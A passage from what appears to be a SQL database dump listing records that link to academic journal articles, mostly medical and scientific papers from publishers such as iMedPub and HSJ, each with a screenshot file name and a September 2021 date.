leeding-posttpa-in-acute-ischemic-stroke.pdf','1313-comm-sct.JPG',0,7,'2021-09-13'),(1314,7294,4,0,'https://www.imedpub.com/articles/biotic-communities--biodiversity.pdf','1314-comm-sct.JPG',0,7,'2021-09-13'),(1315,7292,4,0,'https://pubmed.ncbi.nlm.nih.gov/34269104/','1315-comm-sct.JPG',0,7,'2021-09-13'),(1316,7267,4,0,'https://www.longdom.org/open-access/effect-of-ramadan-fasting-on-body-composition-and-dietary-intake-aprospective-study-in-the-state-of-qatar.pdf','1316-comm-sct.JPG',0,7,'2021-09-13'),(1317,7246,4,0,'http://journalijcar.org/sites/default/files/issue-files/5163-A--2017_0.pdf','1317-comm-sct.JPG',0,7,'2021-09-13'),(1318,7230,4,0,'https://www.imedpub.com/articles/accelerated-graphics-portcharacteristics-and-applications.pdf','1318-comm-sct.JPG',0,7,'2021-09-13'),(1319,7209,4,0,'https://anaesthesia-painmedicine.imedpub.com/abstract/combitube-inclusion-in-the-circumstance-of-intense-aviation-route-obstacle-after-extubation-in-patients-went-through-twojaw-a-medical-procedure-35064.html','1319-comm-sct.JPG',0,7,'2021-09-13'),(1320,7211,4,0,'https://anaesthesia-painmedicine.imedpub.com/abstract/an-uncommon-difficulty-during-arthrocentesis-n-facialis-loss-of-motion-with-n-lingualis-and-n-alveolaris-subpar-sedation-35063.html','1320-comm-sct.JPG',0,7,'2021-09-13'),(1321,7208,4,0,'https://www.imedpub.com/articles/role-of-microwave-assisted-treatments-in-the-extraction-of-flax-seed-oil-from-linum-usitatissimum.pdf','1321-comm-sct.JPG',0,7,'2021-09-13'),(1322,7215,4,0,'https://trauma-acute-care.imedpub.com/pervasive-developmental-disorders-complications-and-its-measures.pdf','1322-comm-sct.JPG',0,7,'2021-09-13'),(1323,7202,4,0,'https://pediatrics.imedpub.com/global-aspects-of-allergic-conjunctivitis-in-children.pdf','1323-comm-sct.JPG',0,7,'2021-09-13'),(1324,7200,4,0,'https://www.jbiomeds.com/abstract/enzyme-inhibitory-and-antioxidant-activities-of-sterculia-tragacantha-lindl-leaves-in-the-management-of-type-ii-diabetes-mellitus-35097.html','1324-comm-sct.JPG',0,7,'2021-09-13'),(1325,7143,4,0,'https://www.imedpub.com/articles/the-development-of-supply-chain-performance-by-application-of-lean-managementmediating-effect-of-agility.pdf','1325-comm-sct.JPG',0,7,'2021-09-13'),(1326,7141,4,0,'https://www.imedpub.com/articles/distribution-intensity-and-morphological-variability-of-wheat-blotch-septoria-tritici-in-centralsoutheastern-of-oromia-ethiopia.pdf','1326-comm-sct.JPG',0,7,'2021-09-13'),(1327,7124,4,0,'https://interventional-radiology.imedpub.com/computed-tomography-guided-stereotactic-device-for-the-whole-bodytechnical-note.pdf','1327-comm-sct.JPG',0,7,'2021-09-13'),(1328,7120,4,0,'https://figshare.com/articles/preprint/How_to_manage_patients_with_non_colorectal_digestive_cancers_during_COVID-19_pandemic_/12517889/2','1328-comm-sct.JPG',0,7,'2021-09-13'),(1329,7065,4,0,'https://pediatrics.imedpub.com/incidence-and-risk-factors-predisposing-to-retinopathy-of-prematurity-and-treatment-outcome-a-retrospective-cohort-study.pdf','1329-comm-sct.JPG',0,7,'2021-09-13'),(1330,7052,4,0,'https://biogenericpublishers.com/pdf/JBGSR.MS.ID.00176.pdf','1330-comm-sct.JPG',0,7,'2021-09-13'),(1331,7040,4,0,'https://oncologypro.esmo.org/content/download/243549/4060584/file/2019-ESMO-Adv-NTRK-Gene-Fusion-Resistance-NTRK-Inhibitors-Develop-Inhibitors-Ulrik-Lassen.pdf','1331-comm-sct.JPG',0,7,'2021-09-13'),(1332,7032,4,0,'https://turkjorthod.org/en/orofacial-manifestations-associated-with-muscular-dystrophies-a-review-131084','1332-comm-sct.JPG',0,7,'2021-09-13'),(1333,7017,4,0,'https://www.acmicrob.com/microbiology/cervical-radiculopathy-associated-with-shingles-herpes-zoster-infection.pdf','1333-comm-sct.JPG',0,7,'2021-09-13'),(1334,6962,4,0,'https://zenodo.org/record/4835850#.YT8lmFUzbIU','1334-comm-sct.JPG',0,7,'2021-09-13'),(1335,6945,4,0,'https://www.imedpub.com/articles/longlasting-systematic-roguing-for-effective-management-of-cabmv-in-passionflowerorchards-through-maintenance-ofindividualized-pla.pdf','1335-comm-sct.JPG',0,7,'2021-09-13'),(1336,6936,4,0,'https://www.iomcworld.org/open-access/acute-ischemic-proctitis-a-rare-clinical-situation.pdf','1336-comm-sct.JPG',0,7,'2021-09-13'),(1337,6932,4,0,'https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3804363','1337-comm-sct.JPG',0,7,'2021-09-13'),(1338,6918,4,0,'https://www.imedpub.com/articles/ralstonia-solanacearum-virulence-in-two-different-susceptible-hosts-by-the-leaf-clip-inoculation-method.pdf','1338-comm-sct.JPG',0,7,'2021-09-13'),(1339,6924,4,0,'https://www.interesjournals.org/articles/rapid-micropropogation-protocol-and-conservation-of-tribulus-terrestris-l-from-in-vitro-raised-explants-a-valuable-medic.pdf','1339-comm-sct.JPG',0,7,'2021-09-13'),(1340,6916,4,0,'https://pediatric-emergency-care.imedpub.com/severe-methemoglobinemia-secondary-to-gunpowder-sniff-in-an-infant-to-treat-infantile-colic-a-case-report.pdf','1340-comm-sct.JPG',0,7,'2021-09-13'),(1341,6889,4,0,'https://academic.oup.com/advances/article-abstract/11/6/1489/5867525?redirectedFrom=fulltext','1341-comm-sct.JPG',0,7,'2021-09-13'),(1342,6879,4,0,'http://www.ajchem-b.com/article_131617_df894db0ac6f36f0b68059a464657f2a.pdf','1342-comm-sct.JPG',0,7,'2021-09-13'),(1343,6867,4,0,'https://d197for5662m48.cloudfront.net/documents/publicationstatus/53925/preprint_pdf/62ad84471b1e9d041f9426d8280b6ea4.pdf','1343-comm-sct.JPG',0,7,'2021-09-13'),(1344,6869,4,0,'https://www.imedpub.com/abstract/correlation-of-fine-needle-aspiration-cytology-with-thyroid-function-test-in-tertiary-care-hospital-kathmandu-34450.html','1344-comm-sct.JPG',0,7,'2021-09-13'),(1345,6872,4,0,'https://ejentas.journals.ekb.eg/article_131323.html','1345-comm-sct.JPG',0,7,'2021-09-14'),(1346,6857,4,0,'https://www.imedpub.com/articles/inflammatory-myofibroblastic-tumor-of-the-lung-a-rare-case.pdf','1346-comm-sct.JPG',0,7,'2021-09-14'),(1347,6846,4,0,'https://www.tsijournals.com/articles/effects-of-storage-on-some-properties-of-selected-soft-drinks-sold-in-nigeria.pdf','1347-comm-sct.JPG',0,7,'2021-09-14'),(1348,6836,4,0,'https://www.hsj.gr/medicine/reforming-rebate-contracting-willimprove-drug-affordability.pdf','1348-comm-sct.JPG',0,7,'2021-09-14'),(1349,6845,4,0,'https://pubmed.ncbi.nlm.nih.gov/33639293/','1349-comm-sct.JPG',0,7,'2021-09-14'),(1350,6841,4,0,'http://jmscr.igmpublication.org/v9-i1/12%20jmscr.pdf','1350-comm-sct.JPG',0,7,'2021-09-14'),(1351,6842,4,0,'https://ijshr.com/IJSHR_Vol.6_Issue.2_April2021/IJSHR025.pdf','1351-comm-sct.JPG',0,7,'2021-09-14'),(1352,6833,4,0,'https://psychopathology.imedpub.com/gracie-jiujitsu-in-traumafocused-care-an-exploratory-case-report.pdf','1352-comm-sct.JPG',0,7,'2021-09-14'),(1353,6834,4,0,'https://www.acanceresearch.com/cancer-research/copd-exacerbations-affect-clinical-outcome-in-advanced-nonsmall-cell-lung-cancer-a-retrospective-analysis.pdf','1353-comm-sct.JPG',0,7,'2021-09-14'),(1354,6821,4,0,'https://virtual.oxfordabstracts.com/#/event/public/1849/submission/398','1354-comm-sct.JPG',0,7,'2021-09-14'),(1355,6815,4,0,'https://www.rroij.com/open-access/a-review-of-folk-ethnic-medicines-in-shopian.pdf','1355-comm-sct.JPG',0,7,'2021-09-14'),(1356,6813,4,0,'https://www.longdom.org/open-access/knowledge-and-screening-on-sexually-transmitted-diseases-among-adults-in-maiduguri-metropolis-of-borno-state-northerneas.pdf','1356-comm-sct.JPG',0,7,'2021-09-14'),(1357,6805,4,0,'https://www.scirp.org/pdf/ojd_2021021813583990.pdf','1357-comm-sct.JPG',0,7,'2021-09-14'),(1358,6793,4,0,'https://www.hsj.gr/medicine/sonographic-reference-luminal-diameterof-the-abdominal-aorta-among-subjectsin-nigeria.pdf','1358-comm-sct.JPG',0,7,'2021-09-14'),(1359,6776,4,0,'https://www.hsj.gr/medicine/breastfeeding-in-the-novel-coronavirusdisease-2019-covid19-confirmed-casesof-women.pdf','1359-comm-sct.JPG',0,7,'2021-09-14'),(1360,6766,4,0,'http://www.ijaresm.com/uploaded_files/document_file/Heaven_DahiyaWv6b.pdf','1360-comm-sct.JPG',0,7,'2021-09-14'),(1361,6757,4,0,'https://ijhr.iums.ac.ir/article_126600.html','1361-comm-sct.JPG',0,7,'2021-09-14'),(1362,6758,4,0,'https://pediatrics.imedpub.com/do-cranial-remolding-orthoses-work.pdf','1362-comm-sct.JPG',0,7,'2021-09-14'),(1363,6742,4,0,'https://www.hsj.gr/medicine/influence-of-constraintinducedmovement-therapy-associated-withziclaguephytotherapicin-chronichemiparetics.php?aid=33777','1363-comm-sct.JPG',0,7,'2021-09-14'),(1364,6726,4,0,'https://www.imedpub.com/articles/research-on-cybercrime-and-its-policing.pdf','1364-comm-sct.JPG',0,7,'2021-09-14'),(1365,6718,4,0,'https://www.hsj.gr/medicine/occupational-rehabilitation-of-patients-with-posterior-cerebral-artery-stroke-and-anatomical-variations-of-the-circle-of-willis.pdf','1365-comm-sct.JPG',0,7,'2021-09-14'),(1366,6708,4,0,'https://www.hsj.gr/medicine/intestinal-parasitic-infection-statusipis-among-primary-school-children-inethiopia-a-systematic-review-and-metaanalysis.pdf','1366-comm-sct.JPG',0,7,'2021-09-14'),(1367,6714,4,0,'https://www.hsj.gr/medicine/a-case-of-360-degree-cervicaldecompression-and-fusion-in-a-65-yearold-man-with-tandem-spinal-stenosis.pdf','1367-comm-sct.JPG',0,7,'2021-09-14'),(1368,6712,4,0,'https://biomedres.us/pdfs/BJSTR.MS.ID.005280.pdf','1368-comm-sct.JPG',0,7,'2021-09-14'),(1369,6711,4,0,'https://www.imedpub.com/articles/amylolytic-and-proteolytic-enzyme-activities-of-plant-and-fungal-foods-for-the-flavor-enhancement.pdf','1369-comm-sct.JPG',0,7,'2021-09-14'),(1370,6704,4,0,'https://www.hsj.gr/medicine/nivolumab-and-acute-grade-iii-renaltoxicity.pdf','1370-comm-sct.JPG',0,7,'2021-09-14'),(1371,6702,4,0,'https://www.ijsr.net/get_count.php?paper_id=SR21508105252','1371-comm-sct.JPG',0,7,'2021-09-14'),(1372,6679,4,0,'https://www.hsj.gr/medicine/diagnostic-values-of-inflammatorymarkers-at-picu.pdf','1372-comm-sct.JPG',0,7,'2021-09-14'),(1373,6670,4,0,'https://medicalphysics.imedpub.com/optimization-of-pertubation-effects-and-radiotherapy-facillities-of-the-general-hospital-of-douala-staff-equipment-and-infrastruct.pdf','1373-comm-sct.JPG',0,7,'2021-09-14'),(1374,6665,4,0,'https://www.hsj.gr/medicine/level-of-active-mental-healthrelatedmass-media-female-students-the-duringcovid19-pandemic.pdf','1374-comm-sct.JPG',0,7,'2021-09-14'),(1375,6657,4,0,'https://www.imedpub.com/articles/a-rare-case-of-neck-of-femur-fracture-in-a-female-adolescent-associated-with-minor-trauma-and-impaired-bone-metabolism.pdf','1375-comm-sct.JPG',0,7,'2021-09-14'),(1376,6656,4,0,'https://www.academia.edu/44651609/Dermatological_manifestations_in_the_healthcare_force_due_to_personal_protective_gears_and_vigorous_hand_hygiene_practices_during_COVID_19_saga_A_cross_sectional_study_in_Dubai_with_recommendations_to_prevent_them','1376-comm-sct.JPG',0,7,'2021-09-14'),(1377,6635,4,0,'https://www.semanticscholar.org/paper/The-Structural-Shielding-of-the-New-Radiotherapy-at-Fotue-Fai/77987147c83ecd1d1277556840bfbe63c2c4f82b','1377-comm-sct.JPG',0,7,'2021-09-14'),(1378,6634,4,0,'https://www.imedpub.com/articles/cervical-desmoid-tumor-about-a-case-and-review-of-literature.pdf','1378-comm-sct.JPG',0,7,'2021-09-14'),(1379,6627,4,0,'https://www.scitechnol.com/peer-review/significance-of-gastrointestinal-stromal-tumors-9PEJ.pdf','1379-comm-sct.JPG',0,7,'2021-09-14'),(1380,6628,4,0,'https://dual-diagnosis.imedpub.com/violence-in-the-homosexual-population-a-social-problem.pdf','1380-comm-sct.JPG',0,7,'2021-09-14'),(1381,6629,4,0,'https://dual-diagnosis.imedpub.com/linguistic-deficiencies-in-primary-progressive-multiple-sclerosis.pdf','1381-comm-sct.JPG',0,7,'2021-09-14'),(1382,6626,4,0,'https://www.imedpub.com/articles/deploying-ai-as-teachers-in-the-rural-areas-of-ghana.pdf','1382-comm-sct.JPG',0,7,'2021-09-14'),(1383,6632,4,0,'https://www.imedpub.com/articles/presentation-of-a-multiagent-method-to-improve-load-balance-and-provisioning-dynamic-resources-in-the-cloud-computing-environment.pdf','1383-comm-sct.JPG',0,7,'2021-09-14'),(1384,6622,4,0,'https://www.imedpub.com/articles/neurophsyology-of-female-sexuality.pdf','1384-comm-sct.JPG',0,7,'2021-09-14'),(1385,6612,4,0,'https://interventional-radiology.imedpub.com/retrospective-review-of-incidence-and-complications-relating-to-implantable-central-venous-catheters-cvc-by-interventional-radiolo.pdf','1385-comm-sct.JPG',0,7,'2021-09-14'),(1386,6604,4,0,'https://www.hsj.gr/medicine/hospitalization-rate-among-recipients-ofnonskilled-home-care-and-the-feasibilityof-using-a-novel-standardized-assessmentto-reduce.pdf','1386-comm-sct.JPG',0,7,'2021-09-14'),(1387,6605,4,0,'https://www.hsj.gr/medicine/anxiety-symptoms-in-universityprofessors-during-the-covid19-pandemic.pdf','1387-comm-sct.JPG',0,7,'2021-09-14'),(1388,6606,4,0,'https://head-and-neck-cancer-research.imedpub.com/trichoblastic-carcinoma-of-the-upper-lip.pdf','1388-comm-sct.JPG',0,7,'2021-09-14'),(1389,6599,4,0,'https://health-medical-economics.imedpub.com/the-story-of-the-american-healthcareworkforce-18502017-a-time-series-analysis.pdf','1389-comm-sct.JPG',0,7,'2021-09-14'),(1390,6598,4,0,'https://www.imedpub.com/articles/a-simulative-study-on-the-performance-of-load-balancing-techniques-over-varying-cloud-infrastructure-using-cloudsim.pdf','1390-comm-sct.JPG',0,7,'2021-09-14'),(1391,4399,4,0,'https://www.hilarispublisher.com/open-access/assessment-of-surface-water-qualities-in-ihetutu-mining-areas-of-ishiagu-nigeria-using-water-quality-index-model.pdf','1391-comm-sct.JPG',0,7,'2021-09-14'),(1392,6587,4,0,'https://www.imedpub.com/articles/multimodal-role-of-exosomes-in-covid19-transmission-diagnosis-and-therapy.pdf','1392-comm-sct.JPG',0,7,'2021-09-14'),(1393,6589,4,0,'https://www.imedpub.com/articles/foliar-application-of-chitosan-and-yeast-elicitor-facilitate-reducing-incidence-and-severity-of-alternaria-leaf-blight-of-tomato-a.pdf','1393-comm-sct.JPG',0,7,'2021-09-14'),(1394,6579,4,0,'http://www.jseejournal.com/media/245/attachment/Alcohol%20generation%20from%20pp.%2013-21.pdf','1394-comm-sct.JPG',0,7,'2021-09-14'),(1395,6570,4,0,'https://www.hsj.gr/medicine/teleradiology-and-ai-as-solution-toovercome-the-covid19-pandemicimpact-during-the-lockdowns-in-africa.pdf','1395-comm-sct.JPG',0,7,'2021-09-14'),(1396,6571,4,0,'https://www.fisheriessciences.com/abstract/effect-of-supplemental-amino-acid-on-performance-and-proximate-composition-of-clarias-gariepinus-burchell-1822-fed-roasted-soyabean-based-diets-33716.html','1396-comm-sct.JPG',0,7,'2021-09-14'),(1397,6561,4,0,'https://www.hsj.gr/medicine/tuberculosis-treament-outcomes-among-children-in-ethiopia-systematic-review-and-meta-analysis.pdf','1397-comm-sct.JPG',0,7,'2021-09-14'),(1398,6558,4,0,'https://www.semanticscholar.org/paper/Association-Between-Socio-Demographic-Factors-and-Ekperi-Nyejirime/38f47526e067a552d68d7c43123bb1c86d5ed034#paper-header','1398-comm-sct.JPG',0,7,'2021-09-14'),(1399,6550,4,0,'https://www.hsj.gr/medicine/a-crosssectional-study-on-the-healthy-and-nutritionally-balanced-vegetarian-midday-meal-for-universal-acceptance-an-overview.pdf','1399-comm-sct.JPG',0,7,'2021-09-14'),(1400,6515,4,0,'https://diversityhealthcare.imedpub.com/healthy-lifestyle-questionnaire-in-patients-with-cardiac-syndrome-x.pdf','1400-comm-sct.JPG',0,7,'2021-09-14'),(1401,6516,4,0,'https://diversityhealthcare.imedpub.com/comparison-of-the-effectiveness-of-gottman-method-couple-therapy-with-narrative-therapy-on-couples-burnout-and-marital-adjustment.pdf','1401-comm-sct.JPG',0,7,'2021-09-14'),(1402,6519,4,0,'https://diversityhealthcare.imedpub.com/effectiveness-of-deep-breath-relaxation-and-lavender-aromatherapy-against-preoperative-patent-anxiety.pdf','1402-comm-sct.JPG',0,7,'2021-09-14'),(1403,6501,4,0,'https://www.hsj.gr/medicine/a-controlled-final-irrigation-protocolreduces-the-acute-pain-rate-of-singleversus-twovisit-rct-of-teeth-withnecrotic-pulp-and-apic.pdf','1403-comm-sct.JPG',0,7,'2021-09-14'),(1404,6505,4,0,'https://www.biorxiv.org/content/10.1101/2020.05.14.095133v1.full.pdf','1404-comm-sct.JPG',0,7,'2021-09-14'),(1405,6504,4,0,'https://packaging360.in/insights/shifting-obstacles-to-opportunities/','1405-comm-sct.JPG',0,7,'2021-09-14'),(1406,6488,4,0,'https://www.journalajcrs.com/index.php/AJCRS/article/view/30175/56622','1406-comm-sct.JPG',0,7,'2021-09-14'),(1407,6486,4,0,'https://www.imedpub.com/articles/the-mystery-of-language.pdf','1407-comm-sct.JPG',0,7,'2021-09-14'),(1408,6489,4,0,'https://clinical-psychiatry.imedpub.com/correlation-between-levels-of-serum-cholesterol-and-depression-in-parasuicide-patients.pdf','1408-comm-sct.JPG',0,7,'2021-09-14'),(1409,6485,4,0,'https://www.imedpub.com/articles/elemental-analysis-and-risk-assessment-of-soil-and-vegetables-from-a-crude-oilpolluted-area-in-lagos-state-nigeria.pdf','1409-comm-sct.JPG',0,7,'2021-09-14'),(1410,6473,4,0,'https://www.cureus.com/articles/46346-co-existing-subaortic-stenosis-in-a-patient-with-hypertrophic-obstructive-cardiomyopathy-a-rare-and-interesting-finding','1410-comm-sct.JPG',0,7,'2021-09-14'),(1411,6475,4,0,'http://iosrjournals.org/iosr-jdms/papers/Vol19-issue10/Series-13/H1910134346.pdf','1411-comm-sct.JPG',0,7,'2021-09-14'),(1412,6468,4,0,'https://www.hsj.gr/medicine/the-potential-impact-of-helicobacterpylori-infection-on-the-onset-of-metabolicdisease.pdf','1412-comm-sct.JPG',0,7,'2021-09-14'),(1413,6464,4,0,'https://obesity.imedpub.com/prevalence-of-obesity-among-a-group-of-kirkuk-women.pdf','1413-comm-sct.JPG',0,7,'2021-09-14'),(1414,6455,4,0,'https://www.hsj.gr/medicine/presentation-of-a-case-of-fulminanthepatitis-due-to-hepatitis-a-in-a-3-year-old-female-preschool.pdf','1414-comm-sct.JPG',0,7,'2021-09-15'),(1415,6456,4,0,'https://www.hsj.gr/medicine/complex-febrile-seizures-associated-withdoose-vs-dravet-syndrome-presentationof-a-clinical-case.pdf','1415-comm-sct.JPG',0,7,'2021-09-15'),(1416,6451,4,0,'https://www.imedpub.com/articles/esp-blockanesthetic-management-in-fragile-patient-case-report.pdf','1416-comm-sct.JPG',0,7,'2021-09-15'),(1417,6450,4,0,'https://j-neurooncology.imedpub.com/neuroplasticity-in-context-of-motor-rehabilitation-in-brain-tumor.pdf','1417-comm-sct.JPG',0,7,'2021-09-15'),(1418,6438,4,0,'https://www.imedpub.com/articles/successful-deceased-donor-renal-transplant-in-a-complicated-vascular-patient-a-case-report.pdf','1418-comm-sct.JPG',0,7,'2021-09-15'),(1419,6434,4,0,'https://www.hsj.gr/medicine/is-procalcitonin-and-lactate-a-earlymarkers-for-sepsis-in-newborns-in-the-icu.pdf','1419-comm-sct.JPG',0,7,'2021-09-16'),(1420,6437,4,0,'https://www.hsj.gr/medicine/improving-mental-health-in-maorichildren-witnessing-family-violence-innew-zealand.pdf','1420-comm-sct.JPG',0,7,'2021-09-16'),(1421,6431,4,0,'https://www.imedpub.com/articles/bacteremia-in-febrile-neutropenic-cancer-patients-in-egypt.pdf','1421-comm-sct.JPG',0,7,'2021-09-16'),(1422,6435,4,0,'https://www.imedpub.com/articles/analysis-of-molecular-variance-amova-a-bio-mathematical-approach-in-complete-genomes-of-sarscov2.pdf','1422-comm-sct.JPG',0,7,'2021-09-16'),(1423,6423,4,0,'https://jmrhs.info/index.php/jmrhs/article/view/41','1423-comm-sct.JPG',0,7,'2021-09-16'),(1424,6426,4,0,'http://article.sapub.org/10.5923.j.ajbe.20201003.01.html#Sec1','1424-comm-sct.JPG',0,7,'2021-09-16'),(1425,6413,4,0,'https://colorectal-cancer.imedpub.com/small-cell-neuroendocrine-carcinoma-of-the-anorectal-region-about-acase-report-and-review-of-the-literature.pdf','1425-comm-sct.JPG',0,7,'2021-09-16'),(1426,6410,4,0,'https://autoimmunediseases.imedpub.com/mesenchymal-stem-cells-work-against-chronic-inflammation-in-rats.pdf','1426-comm-sct.JPG',0,7,'2021-09-16'),(1427,6398,4,0,'https://hospital-medical-management.imedpub.com/exploring-evidence-a-challenge-before-nurses-of-today.pdf','1427-comm-sct.JPG',0,7,'2021-09-16'),(1428,6397,4,0,'https://www.wjpmr.com/home/article_abstract/3325','1428-comm-sct.JPG',0,7,'2021-09-16'),(1429,6376,4,0,'https://www.hsj.gr/medicine/extra-and-intraparenchymal-renal-arteryaneurysms-causing-hydronephrosis-acase-report.pdf','1429-comm-sct.JPG',0,7,'2021-09-16'),(1430,6377,4,0,'https://www.hsj.gr/medicine/family-support-and-coping-mechanism-incongestive-heart-failure-patient.php?aid=32851','1430-comm-sct.JPG',0,7,'2021-09-16'),(1431,6382,4,0,'https://www.hilarispublisher.com/open-access/immunity-participation-in-the-hypertension-pathology.pdf','1431-comm-sct.JPG',0,7,'2021-09-16'),(1432,6374,4,0,'https://www.imedpub.com/articles/a-proposal-for-a-new-biological-supercomputer-based-exclusively-on-rna-molecules-quantum-mechanics-and-nanoptics.pdf','1432-comm-sct.JPG',0,7,'2021-09-16'),(1433,6354,4,0,'https://www.hsj.gr/medicine/risk-factors-and-prevalence-of-neonatalpolycythemia-in-duhok-maternityhospitala-crosssection-study.pdf','1433-comm-sct.JPG',0,7,'2021-09-16'),(1434,6345,4,0,'https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7096510/pdf/41598_2020_Article_61306.pdf','1434-comm-sct.JPG',0,7,'2021-09-16'),(1435,6353,4,0,'https://www.imedpub.com/articles/a-new-approach-to-prevent-the-ddos-attack-and-xml-injection-attacks-using-xsd-trace-handler-in-web-service.pdf','1435-comm-sct.JPG',0,7,'2021-09-16'),(1436,6338,4,0,'https://www.longdom.org/open-access/the-impact-of-covid19-pandemic-on-food-security-in-ksa-19682019-evidence-from-a-simultaneous-equations-system.pdf','1436-comm-sct.JPG',0,7,'2021-09-16'),(1437,6339,4,0,'https://www.longdom.org/open-access/nonlinear-relationships-between-macroeconomic-indicators-shocks-andinflation-rate-in-sudan-economy-19702019-evidence-com.pdf','1437-comm-sct.JPG',0,7,'2021-09-16'),(1438,6333,4,0,'https://www.imedpub.com/articles/on-the-scalability-of-a-blockchain-network-based-on-the-practical-byzantine-fault-tolerance-consensus-method.pdf','1438-comm-sct.JPG',0,7,'2021-09-16'),(1439,6324,4,0,'https://www.hsj.gr/medicine/a-new-early-diagnostic-approach-ofsepsis-in-newborns-with-respiratorydistress-syndrome-at-the-intensive-careunit.pdf','1439-comm-sct.JPG',0,7,'2021-09-16'),(1440,6302,4,0,'https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7678886/pdf/cureus-0012-00000011587.pdf','1440-comm-sct.JPG',0,7,'2021-09-16'),(1441,6291,4,0,'https://www.imedpub.com/articles/implementation-of-internetworking-with-host-internet-in-oracle-virtualbox-guest-virtual-machines.pdf','1441-comm-sct.JPG',0,7,'2021-09-16'),(1442,6265,4,0,'https://www.hsj.gr/medicine/application-of-peptides-and-proteomicsin-the-diagnosis-and-management-ofpancreatic-cancer.pdf','1442-comm-sct.JPG',0,7,'2021-09-16'),(1443,6290,4,0,'https://www.hsj.gr/medicine/telehealth-and-achieving-the-quadrupleaim-in-rural-communities-a-vision-forthe-21st-century.pdf','1443-comm-sct.JPG',0,7,'2021-09-16'),(1444,6260,4,0,'https://saspublishers.com/media/articles/SJMCR_810_894-897.pdf','1444-comm-sct.JPG',0,7,'2021-09-16'),(1445,6258,4,0,'https://www.imedpub.com/articles/food-intolerance-and-autism.pdf','1445-comm-sct.JPG',0,7,'2021-09-16'),(1446,6244,4,0,'https://www.hsj.gr/medicine/is-there-a-correlation-between-changesin-hydroxychloroquine-use-and-mortalityrates-from-covid19.php?aid=32674','1446-comm-sct.JPG',0,7,'2021-09-16'),(1447,6243,4,0,'https://pediatric-cardiology.imedpub.com/single-day-pattern-of-cases-reported-to-a-busy-paediatricechocardiography-laboratory-of-a-tertiary-care-hospital-inbangladesh.pdf','1447-comm-sct.JPG',0,7,'2021-09-16'),(1448,6250,4,0,'https://mycology.imedpub.com/clinical-behavior-of-oral-lichen-planus-in-association-with-candidiasis.pdf','1448-comm-sct.JPG',0,7,'2021-09-16'),(1449,6238,4,0,'https://www.fisheriessciences.com/abstract/histochemical-analysis-of-dna-and-rna-identified-by-methyl-green--pyronin-y-method-and-feulgens-reaction-staining--in-liver-of-channa-punctatus-33714.html','1449-comm-sct.JPG',0,7,'2021-09-16'),(1450,6236,4,0,'https://assets.researchsquare.com/files/rs-28399/v1/8e1175ea-d190-4ed8-b6d4-868163e58af9.pdf?c=1592405146','1450-comm-sct.JPG',0,7,'2021-09-16'),(1451,6228,4,0,'https://zenodo.org/record/4063571#.YUMNGVUzbIU','1451-comm-sct.JPG',0,7,'2021-09-16'),(1452,6219,4,0,'https://www.hsj.gr/medicine/efficacy-of-plantextract-based-gel-forfacial-acne-treatment-randomizedcontrolled-parallel-group-andcomparative-study.pdf','1452-comm-sct.JPG',0,7,'2021-09-16'),(1453,6221,4,0,'https://www.hsj.gr/medicine/clinical-efficacy-on-treatment-of-broadspectrum-viral-infections-with-topical-useof-polyherbal-plant-extract-based-oils.pdf','1453-comm-sct.JPG',0,7,'2021-09-16'),(1454,6218,4,0,'https://jmscr.igmpublication.org/v9-i3/2%20jmscr.pdf','1454-comm-sct.JPG',0,7,'2021-09-16'),(1455,6203,4,0,'https://www.hsj.gr/medicine/feeding-practices-and-nutritionalevolution-of-preterm-infants-duringhospitalization-a-longitudinal-study.pdf','1455-comm-sct.JPG',0,7,'2021-09-16'),(1456,6202,4,0,'https://www.phytojournal.com/archives/2021/vol10issue2/PartO/10-1-113-828.pdf','1456-comm-sct.JPG',0,7,'2021-09-16'),(1457,6179,4,0,'https://aircconline.com/csit/papers/vol10/csit101215.pdf','1457-comm-sct.JPG',0,7,'2021-09-16'),(1458,6178,4,0,'https://journals.indexcopernicus.com/api/file/viewByFileId/1304684.pdf','1458-comm-sct.JPG',0,7,'2021-09-16'),(1459,6147,4,0,'https://medcraveonline.com/IJCAM/IJCAM-13-00525.pdf','1459-comm-sct.JPG',0,7,'2021-09-16'),(1460,6150,4,0,'https://www.pubtexto.com/journals/journal-of-mathematics-and-statistics-research/fulltext/a-mathematical-model-for-the-chimeric-antigen-receptor-t-cell-cart-therapy-as-a-lotkavolterra-system','1460-comm-sct.JPG',0,7,'2021-09-16'),(1461,6151,4,0,'https://www.imedpub.com/articles/cissampelos-pareiras-tale-from-the-benevolent-world-of-medicinalplants.pdf','1461-comm-sct.JPG',0,7,'2021-09-16'),(1462,6133,4,0,'http://www.clinicsinoncology.com/open-access/low-dose-single-agent-chemotherapy-cured-a-child-with-down-6417.pdf','1462-comm-sct.JPG',0,7,'2021-09-16'),(1463,6119,4,0,'https://indianheartjournal.com/wp-content/themes/ihj/pdfs/Coexistence%20of%20bicuspid%20aortic.pdf','1463-comm-sct.JPG',0,7,'2021-09-16'),(1464,6140,4,0,'https://www.imedpub.com/articles/the-role-played-by-some-actors-in-search-of-environmental-protection-examples-of-brazil-and-peru.pdf','1464-comm-sct.JPG',0,7,'2021-09-16'),(1465,6136,4,0,'https://www.fisheriessciences.com/abstract/genetic-diversity-of-the-chinese-mitten-crab-eriocheir-sinensis-from-six-different-lakes-using-microsatellites-33712.html','1465-comm-sct.JPG',0,7,'2021-09-16'),(1466,6131,4,0,'https://www.journalijdr.com/sites/default/files/issue-pdf/20344.pdf','1466-comm-sct.JPG',0,7,'2021-09-16'),(1467,6118,4,0,'https://pediatric-cardiology.imedpub.com/a-rare-case-of-right-ventricular-myxoma-in-a-child.pdf','1467-comm-sct.JPG',0,7,'2021-09-16'),(1468,6097,4,0,'https://www.iomcworld.org/articles/evaluation-of-affirmative-policies-in-health-discourses-attitudes-and-practices-regarding-racism-inequalities-and-action.pdf','1468-comm-sct.JPG',0,7,'2021-09-16'),(1469,6095,4,0,'https://obesity.imedpub.com/periodic-binge-eating-disorder-during-the-social-isolation-due-to-covid19-pandemics.pdf','1469-comm-sct.JPG',0,7,'2021-09-16'),(1470,6093,4,0,'https://pediatric-emergency-care.imedpub.com/socioeconomic-and-racial-disparities-in-severity-of-pediatric-pool-drownings.pdf','1470-comm-sct.JPG',0,7,'2021-09-16'),(1471,6055,4,0,'https://www.imedpub.com/articles/analysis-of-wasted-computing-resources-in-data-centers-in-terms-of-cpu-ram-and-hdd.pdf','1471-comm-sct.JPG',0,7,'2021-09-16'),(1472,6029,4,0,'https://dergipark.org.tr/tr/download/article-file/1375394','1472-comm-sct.JPG',0,7,'2021-09-